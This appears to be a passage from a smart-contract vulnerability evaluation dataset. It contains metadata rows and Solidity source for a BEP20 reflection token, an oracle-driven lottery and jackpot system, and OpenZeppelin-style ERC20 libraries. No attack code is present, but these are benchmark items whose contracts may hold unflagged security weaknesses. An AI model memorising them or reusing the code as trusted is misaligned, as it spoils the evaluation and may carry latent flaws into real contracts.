_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x0c43e6640D41d1448247a95058F285dC184f8c61, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 256,630 | 13,677 |
504a46e4aaecd2379a45e8262fc2227a4a18f839d21fe28779324cd000691d1a
| 20,029 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x695a029169b28dead555295a93e8c46492211eda.sol
| 4,701 | 19,201 |
pragma solidity 0.5.2;
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "");
owner = newOwner;
}
}
contract Manageable is Ownable {
mapping(address => bool) public listOfManagers;
modifier onlyManager() {
require(listOfManagers[msg.sender], "");
_;
}
function addManager(address _manager) public onlyOwner returns (bool success) {
if (!listOfManagers[_manager]) {
require(_manager != address(0), "");
listOfManagers[_manager] = true;
success = true;
}
}
function removeManager(address _manager) public onlyOwner returns (bool success) {
if (listOfManagers[_manager]) {
listOfManagers[_manager] = false;
success = true;
}
}
function getInfo(address _manager) public view returns (bool) {
return listOfManagers[_manager];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, ""); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "");
return a % b;
}
}
contract iRNG {
function update(uint roundNumber, uint additionalNonce, uint period) public payable;
}
contract iKYCWhitelist {
function isWhitelisted(address _participant) public view returns (bool);
}
contract BaseLottery is Manageable {
using SafeMath for uint;
enum RoundState {NOT_STARTED, ACCEPT_FUNDS, WAIT_RESULT, SUCCESS, REFUND}
struct Round {
RoundState state;
uint ticketsCount;
uint participantCount;
TicketsInterval[] tickets;
address[] participants;
uint random;
uint nonce; //xored participants addresses
uint startRoundTime;
uint[] winningTickets;
address[] winners;
uint roundFunds;
mapping(address => uint) winnersFunds;
mapping(address => uint) participantFunds;
mapping(address => bool) sendGain;
}
struct TicketsInterval {
address participant;
uint firstTicket;
uint lastTicket;
}
uint constant public NUMBER_OF_WINNERS = 10;
uint constant public SHARE_DENOMINATOR = 10000;
uint constant public ORACLIZE_TIMEOUT = 86400; // one day
uint[] public shareOfWinners = [5000, 2500, 1250, 620, 320, 160, 80, 40, 20, 10];
address payable public organiser;
uint constant public ORGANISER_PERCENT = 20;
uint constant public ROUND_FUND_PERCENT = 80;
iKYCWhitelist public KYCWhitelist;
uint public period;
address public mainLottery;
address public management;
address payable public rng;
mapping (uint => Round) public rounds;
uint public ticketPrice;
uint public currentRound;
event LotteryStarted(uint start);
event RoundStateChanged(uint currentRound, RoundState state);
event ParticipantAdded(uint round, address participant, uint ticketsCount, uint funds);
event RoundProcecced(uint round, address[] winners, uint[] winningTickets, uint roundFunds);
event RefundIsSuccess(uint round, address participant, uint funds);
event RefundIsFailed(uint round, address participant);
event Withdraw(address participant, uint funds, uint fromRound, uint toRound);
event AddressIsNotAddedInKYC(address participant);
event TicketPriceChanged(uint price);
modifier onlyRng {
require(msg.sender == address(rng), "");
_;
}
modifier onlyLotteryContract {
require(msg.sender == address(mainLottery) || msg.sender == management, "");
_;
}
constructor (address payable _rng, uint _period) public {
require(_rng != address(0), "");
require(_period >= 60, "");
rng = _rng;
period = _period;
}
function setContracts(address payable _rng, address _mainLottery, address _management) public onlyOwner {
require(_rng != address(0), "");
require(_mainLottery != address(0), "");
require(_management != address(0), "");
rng = _rng;
mainLottery = _mainLottery;
management = _management;
}
function startLottery(uint _startPeriod) public payable onlyLotteryContract {
currentRound = 1;
uint time = getCurrentTime().add(_startPeriod).sub(period);
rounds[currentRound].startRoundTime = time;
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
iRNG(rng).update.value(msg.value)(currentRound, 0, _startPeriod);
emit LotteryStarted(time);
}
function buyTickets(address _participant) public payable onlyLotteryContract {
uint funds = msg.value;
updateRoundTimeAndState();
addParticipant(_participant, funds.div(ticketPrice));
updateRoundFundsAndParticipants(_participant, funds);
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartLottery();
}
}
function buyBonusTickets(address _participant, uint _ticketsCount) public payable onlyLotteryContract {
updateRoundTimeAndState();
addParticipant(_participant, _ticketsCount);
updateRoundFundsAndParticipants(_participant, uint(0));
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period) &&
rounds[currentRound].participantCount >= 10) {
_restartLottery();
}
}
function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) {
if (rounds[_round].winners.length != 0) {
return true;
}
if (checkRoundState(_round) == RoundState.REFUND) {
return true;
}
if (rounds[_round].participantCount < 10) {
rounds[_round].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(_round, rounds[_round].state);
return true;
}
rounds[_round].random = _randomNumber;
findWinTickets(_round);
findWinners(_round);
rounds[_round].state = RoundState.SUCCESS;
emit RoundStateChanged(_round, rounds[_round].state);
if (rounds[_round.add(1)].state == RoundState.NOT_STARTED) {
currentRound = _round.add(1);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds);
getRandomNumber(_round + 1, rounds[_round].nonce);
return true;
}
function restartLottery() public payable onlyOwner {
_restartLottery();
}
function getRandomNumber(uint _round, uint _nonce) public payable onlyRng {
iRNG(rng).update(_round, _nonce, period);
}
function setTicketPrice(uint _ticketPrice) public onlyLotteryContract {
require(_ticketPrice > 0, "");
emit TicketPriceChanged(_ticketPrice);
ticketPrice = _ticketPrice;
}
function findWinTickets(uint _round) public {
uint[10] memory winners = _findWinTickets(rounds[_round].random, rounds[_round].ticketsCount);
for (uint i = 0; i < 10; i++) {
rounds[_round].winningTickets.push(winners[i]);
}
}
function _findWinTickets(uint _random, uint _ticketsNum) public pure returns (uint[10] memory) {
uint random = _random;//uint(keccak256(abi.encodePacked(_random)));
uint winnersNum = 10;
uint[10] memory winTickets;
uint shift = uint(256).div(winnersNum);
for (uint i = 0; i < 10; i++) {
winTickets[i] =
uint(keccak256(abi.encodePacked(((random << (i.mul(shift))) >> (shift.mul(winnersNum.sub(1)).add(6)))))).mod(_ticketsNum);
}
return winTickets;
}
function refund(uint _round) public {
if (checkRoundState(_round) == RoundState.REFUND
&& rounds[_round].participantFunds[msg.sender] > 0) {
uint amount = rounds[_round].participantFunds[msg.sender];
rounds[_round].participantFunds[msg.sender] = 0;
address(msg.sender).transfer(amount);
emit RefundIsSuccess(_round, msg.sender, amount);
} else {
emit RefundIsFailed(_round, msg.sender);
}
}
function checkRoundState(uint _round) public returns (RoundState) {
if (rounds[_round].state == RoundState.WAIT_RESULT
&& getCurrentTime() > rounds[_round].startRoundTime.add(ORACLIZE_TIMEOUT)) {
rounds[_round].state = RoundState.REFUND;
emit RoundStateChanged(_round, rounds[_round].state);
}
return rounds[_round].state;
}
function setOrganiser(address payable _organiser) public onlyOwner {
require(_organiser != address(0), "");
organiser = _organiser;
}
function setKYCWhitelist(address _KYCWhitelist) public onlyOwner {
require(_KYCWhitelist != address(0), "");
KYCWhitelist = iKYCWhitelist(_KYCWhitelist);
}
function getGain(uint _fromRound, uint _toRound) public {
_transferGain(msg.sender, _fromRound, _toRound);
}
function sendGain(address payable _participant, uint _fromRound, uint _toRound) public onlyManager {
_transferGain(_participant, _fromRound, _toRound);
}
function getTicketsCount(uint _round) public view returns (uint) {
return rounds[_round].ticketsCount;
}
function getTicketPrice() public view returns (uint) {
return ticketPrice;
}
function getCurrentTime() public view returns (uint) {
return now;
}
function getPeriod() public view returns (uint) {
return period;
}
function getRoundWinners(uint _round) public view returns (address[] memory) {
return rounds[_round].winners;
}
function getRoundWinningTickets(uint _round) public view returns (uint[] memory) {
return rounds[_round].winningTickets;
}
function getRoundParticipants(uint _round) public view returns (address[] memory) {
return rounds[_round].participants;
}
function getWinningFunds(uint _round, address _winner) public view returns (uint) {
return rounds[_round].winnersFunds[_winner];
}
function getRoundFunds(uint _round) public view returns (uint) {
return rounds[_round].roundFunds;
}
function getParticipantFunds(uint _round, address _participant) public view returns (uint) {
return rounds[_round].participantFunds[_participant];
}
function getCurrentRound() public view returns (uint) {
return currentRound;
}
function getRoundStartTime(uint _round) public view returns (uint) {
return rounds[_round].startRoundTime;
}
function _restartLottery() internal {
uint _now = getCurrentTime().sub(rounds[1].startRoundTime);
rounds[currentRound].startRoundTime = getCurrentTime().sub(_now.mod(period));
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
iRNG(rng).update(currentRound, 0, period.sub(_now.mod(period)));
}
function _transferGain(address payable _participant, uint _fromRound, uint _toRound) internal {
require(_fromRound <= _toRound, "");
require(_participant != address(0), "");
if (KYCWhitelist.isWhitelisted(_participant)) {
uint funds;
for (uint i = _fromRound; i <= _toRound; i++) {
if (rounds[i].state == RoundState.SUCCESS
&& rounds[i].sendGain[_participant] == false) {
rounds[i].sendGain[_participant] = true;
funds = funds.add(getWinningFunds(i, _participant));
}
}
require(funds > 0, "");
_participant.transfer(funds);
emit Withdraw(_participant, funds, _fromRound, _toRound);
} else {
emit AddressIsNotAddedInKYC(_participant);
}
}
// find participant who has winning ticket
// to start: _begin is 0, _end is last index in ticketsInterval array
function getWinner(uint _round,
uint _beginInterval,
uint _endInterval,
uint _winningTicket)
internal
returns (address)
{
if (_beginInterval == _endInterval) {
return rounds[_round].tickets[_beginInterval].participant;
}
uint len = _endInterval.add(1).sub(_beginInterval);
uint mid = _beginInterval.add((len.div(2))).sub(1);
TicketsInterval memory interval = rounds[_round].tickets[mid];
if (_winningTicket < interval.firstTicket) {
return getWinner(_round, _beginInterval, mid, _winningTicket);
} else if (_winningTicket > interval.lastTicket) {
return getWinner(_round, mid.add(1), _endInterval, _winningTicket);
} else {
return interval.participant;
}
}
function addParticipant(address _participant, uint _ticketsCount) internal {
rounds[currentRound].participants.push(_participant);
uint currTicketsCount = rounds[currentRound].ticketsCount;
rounds[currentRound].ticketsCount = currTicketsCount.add(_ticketsCount);
rounds[currentRound].tickets.push(TicketsInterval(_participant,
currTicketsCount,
rounds[currentRound].ticketsCount.sub(1)));
rounds[currentRound].nonce = rounds[currentRound].nonce + uint(keccak256(abi.encodePacked(_participant)));
emit ParticipantAdded(currentRound, _participant, _ticketsCount, _ticketsCount.mul(ticketPrice));
}
function updateRoundTimeAndState() internal {
if (getCurrentTime() > rounds[currentRound].startRoundTime.add(period)
&& rounds[currentRound].participantCount >= 10) {
rounds[currentRound].state = RoundState.WAIT_RESULT;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
currentRound = currentRound.add(1);
rounds[currentRound].startRoundTime = rounds[currentRound-1].startRoundTime.add(period);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
}
}
function updateRoundFundsAndParticipants(address _participant, uint _funds) internal {
if (rounds[currentRound].participantFunds[_participant] == 0) {
rounds[currentRound].participantCount = rounds[currentRound].participantCount.add(1);
}
rounds[currentRound].participantFunds[_participant] =
rounds[currentRound].participantFunds[_participant].add(_funds);
rounds[currentRound].roundFunds =
rounds[currentRound].roundFunds.add(_funds);
}
function findWinners(uint _round) internal {
address winner;
uint fundsToWinner;
for (uint i = 0; i < NUMBER_OF_WINNERS; i++) {
winner = getWinner(_round,
0,
(rounds[_round].tickets.length).sub(1),
rounds[_round].winningTickets[i]);
rounds[_round].winners.push(winner);
fundsToWinner = rounds[_round].roundFunds.mul(shareOfWinners[i]).div(SHARE_DENOMINATOR);
rounds[_round].winnersFunds[winner] = rounds[_round].winnersFunds[winner].add(fundsToWinner);
}
}
}
contract IChecker {
function update() public payable;
}
contract JackPot is BaseLottery {
IChecker public checker;
modifier onlyChecker {
require(msg.sender == address(checker), "");
_;
}
constructor(address payable _rng,
uint _period,
address _checker)
public
BaseLottery(_rng, _period) {
require(_checker != address(0), "");
checker = IChecker(_checker);
}
function () external payable {
}
function processLottery() public payable onlyChecker {
rounds[currentRound].state = RoundState.WAIT_RESULT;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
currentRound = currentRound.add(1);
rounds[currentRound].startRoundTime = getCurrentTime();
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
iRNG(rng).update.value(msg.value)(currentRound, rounds[currentRound].nonce, 0);
}
function startLottery(uint _startPeriod) public payable onlyLotteryContract {
_startPeriod;
currentRound = 1;
uint time = getCurrentTime();
rounds[currentRound].startRoundTime = time;
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(currentRound, rounds[currentRound].state);
emit LotteryStarted(time);
checker.update.value(msg.value)();
}
function setChecker(address _checker) public onlyOwner {
require(_checker != address(0), "");
checker = IChecker(_checker);
}
function processRound(uint _round, uint _randomNumber) public payable onlyRng returns (bool) {
rounds[_round].random = _randomNumber;
rounds[_round].winningTickets.push(_randomNumber.mod(rounds[_round].ticketsCount));
address winner = getWinner(_round,
0,
(rounds[_round].tickets.length).sub(1),
rounds[_round].winningTickets[0]);
rounds[_round].winners.push(winner);
rounds[_round].winnersFunds[winner] = rounds[_round].roundFunds;
rounds[_round].state = RoundState.SUCCESS;
emit RoundStateChanged(_round, rounds[_round].state);
emit RoundProcecced(_round, rounds[_round].winners, rounds[_round].winningTickets, rounds[_round].roundFunds);
currentRound = currentRound.add(1);
rounds[currentRound].state = RoundState.ACCEPT_FUNDS;
emit RoundStateChanged(_round, rounds[_round].state);
return true;
}
function buyTickets(address _participant) public payable onlyLotteryContract {
require(msg.value > 0, "");
uint ticketsCount = msg.value.div(ticketPrice);
addParticipant(_participant, ticketsCount);
updateRoundFundsAndParticipants(_participant, msg.value);
}
}
| 216,920 | 13,678 |
077315d22f118b034ec02e0c84fb9b051271a080634ab8caa62b9a76adef28df
| 27,813 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x74cf8b4e3737229b46a565a1d2bfc4be503a79bc.sol
| 4,017 | 15,583 |
pragma solidity ^0.5.9;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes memory _data) public;
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0);
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap);
super._mint(account, value);
}
}
library Arrays {
function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) {
if (array.length == 0) {
return 0;
}
uint256 low = 0;
uint256 high = array.length;
while (low < high) {
uint256 mid = Math.average(low, high);
// Note that mid will always be strictly less than high (i.e. it will be a valid array index)
// because Math.average rounds down (it does integer division with truncation).
if (array[mid] > element) {
high = mid;
} else {
low = mid + 1;
}
}
// At this point `low` is the exclusive upper bound. We will return the inclusive upper bound.
if (low > 0 && array[low - 1] == element) {
return low - 1;
} else {
return low;
}
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
contract ERC20Snapshot is ERC20 {
using SafeMath for uint256;
using Arrays for uint256[];
using Counters for Counters.Counter;
// Snapshot struct, but that would impede usage of functions that work on an array.
struct Snapshots {
uint256[] ids;
uint256[] values;
}
mapping (address => Snapshots) private _accountBalanceSnapshots;
Snapshots private _totalSupplySnaphots;
// Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid.
Counters.Counter private _currentSnapshotId;
event Snapshot(uint256 id);
// when required, but is also flexible enough that it allows for e.g. daily snapshots.
function snapshot() public returns (uint256) {
_currentSnapshotId.increment();
uint256 currentId = _currentSnapshotId.current();
emit Snapshot(currentId);
return currentId;
}
function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]);
return snapshotted ? value : balanceOf(account);
}
function totalSupplyAt(uint256 snapshotId) public view returns(uint256) {
(bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnaphots);
return snapshotted ? value : totalSupply();
}
// The same is true for the total supply and _mint and _burn.
function _transfer(address from, address to, uint256 value) internal {
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
super._transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._mint(account, value);
}
function _burn(address account, uint256 value) internal {
_updateAccountSnapshot(account);
_updateTotalSupplySnapshot();
super._burn(account, value);
}
// When a valid snapshot is queried, there are three possibilities:
// to this id is the current one.
// requested id, and its value is the one to return.
// larger than the requested one.
//
// exactly this.
